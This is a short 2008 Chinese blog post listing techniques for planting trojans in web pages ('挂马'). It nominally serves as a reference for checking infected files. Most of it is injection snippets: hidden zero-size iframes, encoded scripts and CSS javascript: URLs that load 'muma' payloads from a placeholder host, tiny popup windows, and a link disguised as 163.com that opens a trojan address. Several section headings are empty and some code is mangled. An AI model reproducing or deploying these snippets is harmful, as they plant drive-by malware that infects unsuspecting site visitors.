挂马技术

上一篇 / 下一篇 2008-09-01 11:43:13 / 个人分类：技术随笔

查看( 20 ) / 评论( 0 ) / 评分( 0 / 0 )

文件版本: V1.0
开发商: 本站原创
文件来源: 本地
界面语言: 简体中文
授权方式: 免费
运行平台: Win9X/Win2000/WinXP

最新网页 挂马 方法

[

2008/05/26 15:11 | bylisten]

检查文件是否被挂马的时候可以参考下！

一:框架挂马

二:js文件挂马

首先将以下代码

document.write("<iframe. width='0' height='0' src='地址'></iframe>");

保存为xxx.js，
则JS挂马代码为

三:js变形加密

<SCRIPT. language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>

muma.txt可改成任意后缀
四:body挂马

五:隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe. src="http://www.xxx.com/muma.ht...

六:css中挂马

body {
background-image: url('javascript.:document.write("<script. src=http://www.XXX.net/muma.js></script>")')}

七:JAJA挂马

<SCRIPT. language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

八:图片伪装

九:伪装调用：

十:高级欺骗

<a href="http://www.163.com(迷惑连接地址，显示这个地址指向木马地址)" nMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT. Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>